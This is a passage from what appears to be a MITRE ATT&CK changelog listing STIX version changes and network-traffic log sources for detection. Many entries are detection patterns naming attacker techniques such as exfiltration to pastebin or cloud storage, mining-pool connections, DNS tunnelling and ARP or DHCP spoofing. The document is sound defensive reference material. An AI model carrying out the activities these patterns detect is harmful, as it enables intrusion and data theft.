'NetFlow/sFlow for odd egress to Internet from mgmt plane'}, {'name': 'NSM:Flow', 'channel': 'packet capture or DPI logs'}, {'name': 'NSM:Flow', 'channel': 'http.log'}, {'name': 'NSM:Flow', 'channel': 'SMB2_LOGOFF/SMB_TREE_DISCONNECT'}, {'name': 'macos:unifiedlog', 'channel': 'Connections to suspicious domains with mismatched certificate or unusual patterns'}, {'name': 'NSM:Flow', 'channel': 'Unusual Base64-encoded content in URI, headers, or POST body'}, {'name': 'NSM:Flow', 'channel': 'Base64 strings or gzip in URI, headers, or POST body'}, {'name': 'macos:unifiedlog', 'channel': 'HTTP POST with encoded content in user-agent or cookie field'}, {'name': 'esxi:vmkernel', 'channel': 'Outbound traffic using encoded payloads post-login'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval.'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to 22/5900/8080 and follow-on internal connections.'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body contains long Base64 sections'}, {'name': 'NSM:Flow', 'channel': 'http: Base64/MIME looking payloads from ESXi host IP'}, {'name': 'NSM:Flow', 'channel': 'LDAP Bind/Search'}, {'name': 'NSM:Flow', 'channel': 'LDAP Query'}, {'name': 'macos:unifiedlog', 'channel': 'log stream (subsystem: com.apple.system.networking)'}, {'name': 'NSM:Flow', 'channel': 'smtp.log'}, {'name': 'NSM:Flow', 'channel': 'smtp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'remote CLI session detection'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted connection with anomalous payload entropy'}, {'name': 'esxcli:network', 'channel': 'Socket sessions with randomized payloads inconsistent with TLS'}, {'name': 'NSM:Connections', 'channel': 'Symmetric encryption detected without TLS handshake sequence'}, {'name': 'NSM:Flow', 'channel': 'http.log, ftp.log'}, {'name': 'NSM:Flow', 'channel': 'PCAP inspection'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to webhook endpoints'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to webhook endpoints'}, {'name': 'NSM:Flow', 'channel': 'Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed ≤TimeWindow by outbound SF from same host to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Inbound one-off packet to uncommon port → outbound SF to same src_ip within TimeWindow.'}, {'name': 'networkdevice:config', 'channel': 'NAT table modification (add/update/delete rule)'}, {'name': 'NSM:Flow', 'channel': 'large upload to firmware interface port or path'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid incoming TLS handshakes or HTTP requests in quick succession'}, {'name': 'NSM:Flow', 'channel': 'http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources'}, {'name': 'NSM:Flow', 'channel': 'http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains'}, {'name': 'NSM:Flow', 'channel': 'HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)'}, {'name': 'NSM:Connections', 'channel': 'TLS handshake + HTTP headers'}, {'name': 'NSM:Flow', 'channel': 'ssl.log + http.log'}, {'name': 'macos:unifiedlog', 'channel': 'network, socket, and http logs'}, {'name': 'NSM:Firewall', 'channel': 'TLS/HTTP inspection'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Outbound transfer of large video-like MIME types soon after capture'}, {'name': 'container:proxy', 'channel': 'outbound/inbound network activity from spawned pods'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound to non-standard ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound SCP, TFTP, or FTP sessions carrying configuration file content'}, {'name': 'NSM:Flow', 'channel': 'Session Transfer Content'}, {'name': 'NSM:Flow', 'channel': 'Captured File Content'}, {'name': 'NSM:Flow', 'channel': 'C2 exfiltration'}, {'name': 'NSM:Flow', 'channel': 'Transferred file observations'}, {'name': 'apache:access_log', 'channel': "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"}, {'name': 'NSM:Flow', 'channel': 'http::post: Outbound HTTP POST from host shortly after DB export activity'}, {'name': 'NSM:Flow', 'channel': 'HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage'}, {'name': 'NSM:Flow', 'channel': 'Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions'}, {'name': 'NSM:Flow', 'channel': 'New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs'}, {'name': 'NSM:Flow', 'channel': 'New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot'}, {'name': 'docker:events', 'channel': 'remote API calls to /containers/create or /containers/{id}/start'}, {'name': 'NSM:Flow', 'channel': 'http::request: Network connection to package registry or C2 from interpreter shortly after install'}, {'name': 'linux:syslog', 'channel': 'Integrity mismatch warnings or malformed packets detected'}, {'name': 'NSM:Flow', 'channel': 'http::request: Outbound HTTP initiated by Python interpreter'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Outbound requests with forged tokens/cookies in headers'}, {'name': 'linux:syslog', 'channel': 'DNS response IPs followed by connections to non-standard calculated ports'}, {'name': 'macos:unifiedlog', 'channel': 'DNS responses followed by connections to ports outside standard ranges'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound traffic to mining domains'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted session initiation by unexpected binary'}, {'name': 'esxi:vmkernel', 'channel': 'Inspection of sockets showing encrypted sessions from non-baseline processes'}, {'name': 'NSM:Connections', 'channel': 'Abnormal certificate chains or non-standard ports carrying TLS'}, {'name': 'NSM:Flow', 'channel': 'DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to text storage domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to pastebin-like domains'}, {'name': 'NSM:Flow', 'channel': 'Unexpected ARP replies or DNS responses inconsistent with authoritative servers'}, {'name': 'NSM:Flow', 'channel': 'TLS downgrade or inconsistent DNS answers'}, {'name': 'NSM:Flow', 'channel': 'Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large volume of malformed or synthetic payloads to application endpoints prior to failure'}, {'name': 'networkconfig ', 'channel': 'interface flag PROMISC, netstat | ip link | ethtool'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'promiscuous'"}, {'name': 'networkdevice:syslog', 'channel': 'config change (e.g., logging buffered, pcap buffers)'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to code repository APIs'}, {'name': 'azure:activity', 'channel': 'networkInsightsLogs'}, {'name': 'gcp:audit', 'channel': 'network.query*'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Unusual external domain access'}, {'name': 'NSM:Flow', 'channel': 'conn.log or http.log'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs'}, {'name': 'NSM:Flow', 'channel': 'dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently'}, {'name': 'NSM:Flow', 'channel': 'http: suspicious long tokens with custom alphabets in body/headers'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies from ESXi host IPs containing long, non-standard tokens'}, {'name': 'NSM:Flow', 'channel': 'Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols'}, {'name': 'NSM:Flow', 'channel': 'HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts'}, {'name': 'NSM:Flow', 'channel': 'Egress to non-approved networks from host after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'Flow/PCAP analysis for outbound payloads'}, {'name': 'NSM:Flow', 'channel': 'conn.log + files.log + ssl.log'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'open', 'sendto', 'connect'"}, {'name': 'NSM:Flow', 'channel': 'HTTPS or custom protocol traffic with large payloads'}, {'name': 'esxi:vmkernel', 'channel': 'network stack module logs'}, {'name': 'NSM:Flow', 'channel': 'Unexpected script or binary content returned in HTTP response body'}, {'name': 'NSM:Flow', 'channel': 'Injected content responses with unexpected script/malware signatures'}, {'name': 'NSM:Flow', 'channel': 'Content injection observed in HTTPS responses with mismatched certificates or altered payloads'}, {'name': 'NSM:Firewall', 'channel': 'High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion'}, {'name': 'NSM:Firewall', 'channel': 'Anomalous TCP SYN or ACK spikes from specific source or interface'}, {'name': 'saas:confluence', 'channel': 'REST API access from non-browser agents'}, {'name': 'Netfilter/iptables', 'channel': 'Forwarded packets log'}, {'name': 'NSM:Flow', 'channel': 'Relay patterns across IP hops'}, {'name': 'NSM:Firewall', 'channel': 'Outbound encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'ldap.log'}, {'name': 'macos:unifiedlog', 'channel': 'dns-sd, mDNSResponder, socket activity'}, {'name': 'networkdevice:IDS', 'channel': 'content inspection / PCAP / HTTP body'}, {'name': 'NSM:Flow', 'channel': 'Probe responses from unauthorized APs responding to client probe requests'}, {'name': 'auditd:SYSCALL', 'channel': 'setsockopt, ioctl modifying ARP entries'}, {'name': 'NSM:Flow', 'channel': 'Excessive gratuitous ARP replies on local subnet'}, {'name': 'NSM:Flow', 'channel': 'Inbound HTTP POST with suspicious payload size or user-agent'}, {'name': 'NSM:Flow', 'channel': 'POST requests to .php, .jsp, .aspx files with high entropy body'}, {'name': 'NSM:Flow', 'channel': 'dns.log'}, {'name': 'NSM:FLow', 'channel': 'dns.log'}, {'name': 'NSM:Flow', 'channel': 'Encrypted tunnels or proxy traffic to non-standard destinations'}, {'name': 'esxi:vmkernel', 'channel': 'Suspicious traffic filtered or redirected by VM networking stack'}, {'name': 'NSM:Flow', 'channel': 'large transfer from management IPs to unauthorized host'}, {'name': 'NSM:Flow', 'channel': 'Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, smb_files.log'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'mirror/SPAN port'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log, smb_files.log'}, {'name': 'linux:syslog', 'channel': 'Multiple NXDOMAIN responses and high entropy domains'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Inspection or PCAP'}, {'name': 'NSM:Flow', 'channel': 'conn.log, ssl.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network activity'}, {'name': 'NSM:Flow', 'channel': 'http, dns, smb, ssl logs'}, {'name': 'NSM:Flow', 'channel': 'dns, ssl, conn'}, {'name': 'NSM:Flow', 'channel': 'conn.log, http.log, dns.log, ssl.log'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP traffic (Wireshark, Suricata, Zeek)'}, {'name': 'NSM:Flow', 'channel': 'icmp.log, weird.log'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)'}, {'name': 'esxi:vmkernel', 'channel': 'VMCI syslog entries'}, {'name': 'NSM:Firewall', 'channel': 'ICMP/UDP protocol anomaly'}, {'name': 'NSM:Flow', 'channel': 'Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts'}, {'name': 'NSM:Flow', 'channel': 'DHCP OFFER or ACK with unauthorized DNS/gateway parameters'}, {'name': 'NSM:Flow', 'channel': 'Multiple DHCP OFFER responses for a single DISCOVER'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Handshake Analysis'}, {'name': 'NSM:Flow', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Flow', 'channel': 'Network Capture TLS/HTTP'}, {'name': 'NSM:Content', 'channel': 'SSL Certificate Metadata'}, {'name': 'NSM:Content', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Content', 'channel': 'TLS Fingerprint and Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'container egress to unknown IPs/domains'}, {'name': 'gcp:vpcflow', 'channel': 'first 5m egress to unknown ASNs'}, {'name': 'NSM:Flow', 'channel': 'HTTP Request Logging'}, {'name': 'WinEventLog:iis', 'channel': 'IIS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.WebKit'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs'}, {'name': 'NSM:Flow', 'channel': 'ssh connections originating from third-party CIDRs'}, {'name': 'NSM:Flow', 'channel': 'ssh/smb connections to internal resources from third-party devices'}, {'name': 'NSM:Flow', 'channel': 'Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines'}, {'name': 'NSM:Flow', 'channel': 'ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)'}, {'name': 'NSM:Flow', 'channel': 'host switch egress data'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.WebKit or com.apple.WebKit.Networking'}, {'name': 'NSM:Flow', 'channel': 'ssl.log - Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, x509.log'}, {'name': 'NSM:Flow', 'channel': 'Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF×6 + 16×MAC)'}, {'name': 'WIDS:AssociationLogs', 'channel': 'Unauthorized AP or anomalous MAC address connection attempts'}, {'name': 'macos:unifiedlog', 'channel': 'encrypted outbound traffic carrying unexpected application data'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound with non-standard encapsulated protocols'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound connections with consistent periodicity'}, {'name': 'macos:unifiedlog', 'channel': 'TLS connections with abnormal handshake sequence or self-signed cert'}, {'name': 'esxcli:network', 'channel': 'Socket inspection showing RSA key exchange outside baseline endpoints'}, {'name': 'IDS:TLSInspection', 'channel': 'Malformed certs, incomplete asymmetric handshakes, or invalid CAs'}, {'name': 'macos:unifiedlog', 'channel': 'Web server process initiating outbound TCP connections not tied to normal server traffic'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TLS connections to cloud storage providers'}, {'name': 'saas:box', 'channel': 'API calls exceeding baseline thresholds'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to cloud storage APIs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High volume internal-to-internal IP transfer or cross-account cloud transfer'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'WinINet API telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'process, network'}, {'name': 'NSM:Connections', 'channel': 'Unusual POST requests to admin or upload endpoints'}, {'name': 'NSM:Flow', 'channel': 'Suspicious POSTs to upload endpoints'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures or unusual community string usage in SNMP queries'}, {'name': 'API:ConfigRepoAudit', 'channel': 'Access to configuration repository endpoints, unusual enumeration requests or mass downloads'}, {'name': 'NSM:Content', 'channel': 'Traffic on RPC DRSUAPI'}, {'name': 'macos:unifiedlog', 'channel': "process = 'ssh' OR eventMessage CONTAINS 'ssh'"}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:16.672000+00:00 | 2025-10-21 15:14:34.343000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0078', 'external_id': 'DC0078'}] | |
| x_mitre_log_sources | [{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'socket_events'}, {'name': 'NSM:Flow', 'channel': 'Unexpected flows between segmented networks or prohibited ports'}, {'name': 'snmp:config', 'channel': 'Configuration change traps or policy enforcement failures'}, {'name': 'NSM:Flow', 'channel': 'First-time outbound connections to package registries or unknown hosts immediately after restore/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to new registries/CDNs post-install/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved registries after dependency install'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets'}, {'name': 'NSM:Flow', 'channel': 'large outbound data flows or long-duration connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'egress > 90th percentile or frequent connection reuse'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect'}, {'name': 'esxi:syslog', 'channel': 'esxcli network vswitch or DNS resolver configuration updates'}, {'name': 'esxi:vobd', 'channel': 'Network Events'}, {'name': 'iptables:LOG', 'channel': 'TCP connections'}, {'name': 'NSM:Flow', 'channel': 'connection metadata'}, {'name': 'wineventlog:dhcp', 'channel': 'DHCP Lease Granted'}, {'name': 'NSM:Flow', 'channel': 'LEASE_GRANTED'}, {'name': 'NSM:Flow', 'channel': 'MAC not in allow-list acquiring IP (DHCP)'}, {'name': 'Windows Firewall Log', 'channel': 'SMB over high port'}, {'name': 'NSM:Connections', 'channel': 'Internal connection logging'}, {'name': 'NSM:Flow', 'channel': 'pf firewall logs'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'NSM:Flow', 'channel': 'Inter-segment traffic'}, {'name': 'NSM:Flow', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Long-lived or hijacked SSH sessions maintained with no active user activity'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'VPC/NSG flow logs for pod/instance egress to Internet or metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound traffic from browser binary to non-standard domains'}, {'name': 'NSM:Flow', 'channel': 'Abnormal browser traffic volume or destination'}, {'name': 'NSM:Flow', 'channel': 'Outbound requests to domains not previously resolved or associated with phishing campaigns'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click'}, {'name': 'M365Defender:DeviceNetworkEvents', 'channel': 'NetworkConnection: bytes_sent >> bytes_received anomaly'}, {'name': 'PF:Logs', 'channel': 'outbound flows with bytes_out >> bytes_in'}, {'name': 'NSX:FlowLogs', 'channel': 'network_flow: bytes_out >> bytes_in to external'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/Zeek conn.log'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound data flows'}, {'name': 'NSM:Flow', 'channel': 'Flow records with entropy signatures resembling symmetric encryption'}, {'name': 'NSM:Flow', 'channel': 'flow records'}, {'name': 'networkdevice:syslog', 'channel': 'flow records'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST to known webhook URLs'}, {'name': 'saas:api', 'channel': 'Webhook registrations or repeated POST activity'}, {'name': 'NSM:Flow', 'channel': 'Source/destination IP translation inconsistent with intended policy'}, {'name': 'SNMP:DeviceLogs', 'channel': 'Unexpected NAT translation statistics or rule insertion events'}, {'name': 'NSM:Flow', 'channel': 'Sudden spike in incoming flows to web service ports from single/multiple IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of inbound packets from single source across short time interval'}, {'name': 'NSM:Flow', 'channel': 'port 5900 inbound'}, {'name': 'NSM:Flow', 'channel': 'TCP port 5900 open'}, {'name': 'NSM:firewall', 'channel': 'inbound connection to port 5900'}, {'name': 'NSM:Firewall', 'channel': 'Outbound connections to 139/445 to multiple destinations'}, {'name': 'VPCFlowLogs:All', 'channel': 'High volume internal traffic with low entropy indicating looped or malicious DoS script'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow/PCAP'}, {'name': 'NSM:Flow', 'channel': 'Outbound Network Flow'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.network'}, {'name': 'NSM:Flow', 'channel': 'Device-to-Device Deployment Flows'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect syscalls'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TCP/UDP traffic over unexpected port'}, {'name': 'esxi:vpxd', 'channel': 'ESXi service connections on unexpected ports'}, {'name': 'iptables:LOG', 'channel': 'OUTBOUND'}, {'name': 'macos:unifiedlog', 'channel': 'tcp/udp'}, {'name': 'esxi:hostd', 'channel': 'CLI network calls'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic from suspicious new processes post-attachment execution'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious anomalies in transmitted data integrity during application network operations'}, {'name': 'esxi:syslog', 'channel': 'DNS resolution events leading to outbound traffic on unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pools or proxies'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound flow logs to known mining pools'}, {'name': 'container:cni', 'channel': 'Outbound network traffic to mining proxies'}, {'name': 'esxi:vpxd', 'channel': 'TLS session established by ESXi service to unapproved endpoint'}, {'name': 'NSM:Flow', 'channel': 'Session records with TLS-like byte patterns'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST requests to pastebin.com or similar'}, {'name': 'NetFlow:Flow', 'channel': 'new outbound connections from exploited process tree'}, {'name': 'NSM:Connections', 'channel': 'new connections from exploited lineage'}, {'name': 'NSM:Flow', 'channel': 'Unexpected route changes or duplicate gateway advertisements'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall', 'channel': 'EventCode=2004,2005,2006'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: repeated REJ/S0 across ≥MinSequenceLen ports from same src_ip then SF success.'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall/PF anchor load or rule change events.'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes.'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved update hosts right after install/update'}, {'name': 'NSM:Flow', 'channel': 'New outbound flows to non-approved vendor hosts post install'}, {'name': 'NSM:Flow', 'channel': 'New/rare egress to non-approved update hosts after install'}, {'name': 'NSM:Flow', 'channel': 'large outbound HTTPS uploads to repo domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS traffic to repository domains'}, {'name': 'NSM:Flow', 'channel': 'alert log'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Outbound flow records'}, {'name': 'm365:defender', 'channel': 'NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch'}, {'name': 'PF:Logs', 'channel': 'high out:in ratio or fixed-size periodic flows'}, {'name': 'NSM:Flow', 'channel': 'network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs'}, {'name': 'auditd:SYSCALL', 'channel': 'connect or sendto system call with burst pattern'}, {'name': 'macos:unifiedlog', 'channel': 'sudden burst in outgoing packets from same PID'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'source instance sends large volume of traffic in short window'}, {'name': 'NSM:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'NIDS:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'esxi:vpxa', 'channel': 'connection attempts and data transmission logs'}, {'name': 'PF:Logs', 'channel': 'External traffic to remote access services'}, {'name': 'NSM:Flow', 'channel': 'High volumes of SYN/ACK packets with unacknowledged TCP handshakes'}, {'name': 'dns:query', 'channel': 'Outbound resolution to hidden service domains (e.g., `.onion`)'}, {'name': 'NSM:Flow', 'channel': 'conn.log + ssl.log with Tor fingerprinting'}, {'name': 'macos:unifiedlog', 'channel': 'forwarded encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'Relayed session pathing (multi-hop)'}, {'name': 'NSM:Flow', 'channel': 'Outbound TCP SYN or UDP to multiple ports/hosts'}, {'name': 'containerd:runtime', 'channel': 'container-level outbound traffic events'}, {'name': 'WLANLogs:Association', 'channel': 'Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type'}, {'name': 'linux:osquery', 'channel': 'socket_events'}, {'name': 'WinEventLog:Security', 'channel': 'ARP cache modification attempts observed through event tracing or security baselines'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous ARP replies with mismatched IP-MAC binding'}, {'name': 'macos:unifiedlog', 'channel': 'ARP table updates inconsistent with expected gateway or DHCP lease assignments'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or com.apple.network'}, {'name': 'macos:unifiedlog', 'channel': 'log stream \'eventMessage contains "dns_request"\''}, {'name': 'esxi:syslog', 'channel': '/var/log/syslog.log'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateTrafficMirrorSession or ModifyTrafficMirrorTarget'}, {'name': 'networkdevice:syslog', 'channel': "Config change: CLI/NETCONF/SNMP – 'monitor session', 'mirror port'"}, {'name': 'NSM:Flow', 'channel': 'Outbound UDP floods targeting common reflection services with spoofed IP headers'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound UDP spikes to external reflector IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large outbound UDP traffic to multiple public reflector IPs'}, {'name': 'macos:unifiedlog', 'channel': 'High entropy domain queries with multiple NXDOMAINs'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS queries with high entropy names or NXDOMAIN results'}, {'name': 'vpxd.log', 'channel': 'API communication'}, {'name': 'NSM:Connections', 'channel': 'Outbound Connection'}, {'name': 'NSM:Flow', 'channel': 'Connection Tracking'}, {'name': 'NSM:Firewall', 'channel': 'pf firewall logs'}, {'name': 'NSM:Flow', 'channel': 'Flow Creation (NetFlow/sFlow)'}, {'name': 'NSM:Flow', 'channel': 'conn.log, icmp.log'}, {'name': 'NSM:Flow', 'channel': 'Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers'}, {'name': 'NSM:Connections', 'channel': 'Inbound on ports 5985/5986'}, {'name': 'linux:syslog', 'channel': 'Multiple IP addresses assigned to the same domain in rapid sequence'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid domain-to-IP resolution changes for same domain'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS resolution of same domain with rotating IPs'}, {'name': 'NSM:Flow', 'channel': 'uncommon ports'}, {'name': 'NSM:Flow', 'channel': 'alternate ports'}, {'name': 'esxi:vpxd', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'conn.log or flow data'}, {'name': 'esxi:vmkernel', 'channel': 'egress log analysis'}, {'name': 'esxi:vmkernel', 'channel': 'egress logs'}, {'name': 'NSM:Flow', 'channel': 'High volume flows with incomplete TCP sessions or single-packet bursts'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall rule enable/disable or listen socket changes'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl: Changes to wireless network interfaces (up, down, reassociate)'}, {'name': 'macos:osquery', 'channel': 'query: Historical list of associated SSIDs compared against baseline'}, {'name': 'NSM:Flow', 'channel': 'First-time egress from host after new install to unknown update endpoints'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to unknown registries/mirrors immediately after install'}, {'name': 'NSM:Flow', 'channel': 'New egress from app just installed to unknown update endpoints'}, {'name': 'esxi:vpxd', 'channel': 'ESXi processes relaying traffic via SSH or unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to mining pool port (3333, 4444, 5555)'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pool upon container launch'}, {'name': 'NSM:Flow', 'channel': 'Flow records with RSA key exchange on unexpected port'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs'}, {'name': 'NSM:Flow', 'channel': 'sustained outbound HTTPS sessions with high data volume'}, {'name': 'NSM:Flow', 'channel': 'Connections from IDE hosts to marketplace/tunnel domains'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound connections from IDE processes to marketplace/tunnel domains'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS outbound uploads'}, {'name': 'esxi:vmkernel', 'channel': 'network flows to external cloud services'}, {'name': 'NSM:Flow', 'channel': 'TCP port 22 traffic'}, {'name': 'esxi:vmkernel', 'channel': 'port 22 access'}] |
| STIX Field | Old value | New Value |
|---|---|---|
